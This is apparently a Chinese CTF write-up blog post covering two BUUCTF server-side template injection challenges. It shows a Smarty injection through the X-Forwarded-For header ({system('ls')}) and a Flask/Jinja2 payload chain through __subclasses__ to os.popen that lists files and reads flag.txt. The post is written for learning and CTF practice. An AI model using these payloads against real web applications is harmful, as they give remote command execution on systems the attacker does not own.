BUUCTF刷题十一道(12)附-SSTI专题二

学习文章

SSTI-服务端模板注入漏洞
flask之ssti模板注入从零到入门
CTFSHOW SSTI篇-yu22x
SSTI模板注入绕过(进阶篇)-yu22x
SSTI模板注入学习-竹言笙熙

全部总结看最后一篇

[CISCN2019 华东南赛区]Web11【存疑】

Smarty 模板注入与沙箱逃逸-长亭科技

在这里插入图片描述
发现能显示ip地址,没有其他传参的地方,应该在xff头
自定义xff头,尝试模板注入

在这里插入图片描述
但是构造获取类会出错
在这里插入图片描述
又查了查,有特性

在这里插入图片描述


Smarty支持使用{php}{/php}标签来执行被包裹其中的php指令


Smarty 是一个用于 PHP 的模板引擎,它允许开发者将动态生成的内容与静态 HTML 分离,以提高代码的可维护性和可读性。在 Smarty 模板中,通常不直接执行 PHP 代码,而是使用 Smarty 提供的一些特定的语法和功能来代替。

Smarty 模板中执行 PHP 语句的一种常见方式是使用 {php} 标签。但是需要注意的是,从 Smarty3 开始,{php} 标签已经被废弃,并不建议使用,因为它会导致模板与业务逻辑的耦合度增加,降低模板的可维护性。


{php}
    // PHP 代码
    $name = 'John';
    echo "Hello, $name!";
{/php}


看了很多篇博客没说清楚为什么直接能{system('ls')}命令执行,所以请看文章开头长亭的smarty模板注入原理

漏洞产生语句类似


$smarty->display("string:". $name);

{$smarty.version}返回smarty版本

在这里插入图片描述
好吧我还是没看懂为什么{phpinfo()}能执行

在这里插入图片描述
在这里插入图片描述

[RootersCTF2019]I_❤️_Flask

页面卡,翻一下快一点

git clone https://github.com/s0md3v/Arjun

工具可扫到name参数

尝试name参数处ssti
在这里插入图片描述

在这里插入图片描述
在这里插入图片描述


# 查看基类类
?name={{().__class__.__base__}}
# 查看子类
{{().__class__.__base__.__subclasses__()}}

# 寻找os

# 触发连招

{{().__class__.__base__.__subclasses__()[132].__init__.__globals__['popen']('ls').read()}}

# 读取flag.txt
{{().__class__.__base__.__subclasses__()[132].__init__.__globals__['popen']('cat flag.txt').read()}}

在这里插入图片描述
在这里插入图片描述

相关推荐

  1. 叉树专题

    2024-04-15 05:36:06       23 阅读
  2. 每日算法 3(2023-12-11

    2024-04-15 05:36:06       46 阅读
  3. 每日算法 14(2023-12-22)

    2024-04-15 05:36:06       46 阅读

最近更新

  1. docker php8.1+nginx base 镜像 dockerfile 配置

    2024-04-15 05:36:06       94 阅读
  2. Could not load dynamic library ‘cudart64_100.dll‘

    2024-04-15 05:36:06       101 阅读
  3. 在Django里面运行非项目文件

    2024-04-15 05:36:06       82 阅读
  4. Python语言-面向对象

    2024-04-15 05:36:06       91 阅读

热门阅读

  1. Docker in Docker (DinD): 深入探索与实际应用

    2024-04-15 05:36:06       39 阅读
  2. 快速配置docker 国内源地址

    2024-04-15 05:36:06       178 阅读
  3. 上一篇文章中的nvm有歧义

    2024-04-15 05:36:06       142 阅读
  4. 从零实现诗词GPT大模型:了解自注意力机制

    2024-04-15 05:36:06       65 阅读
  5. Spring Boot 经典面试题(八)

    2024-04-15 05:36:06       42 阅读
  6. Leetcode 528 按权重随机选择

    2024-04-15 05:36:06       34 阅读
  7. [Linux] keytool 命令(by Copilot)

    2024-04-15 05:36:06       41 阅读
  8. node.js

    2024-04-15 05:36:06       94 阅读
  9. 【云计算】混合云概述

    2024-04-15 05:36:06       43 阅读
  10. 分布式锁介绍

    2024-04-15 05:36:06       41 阅读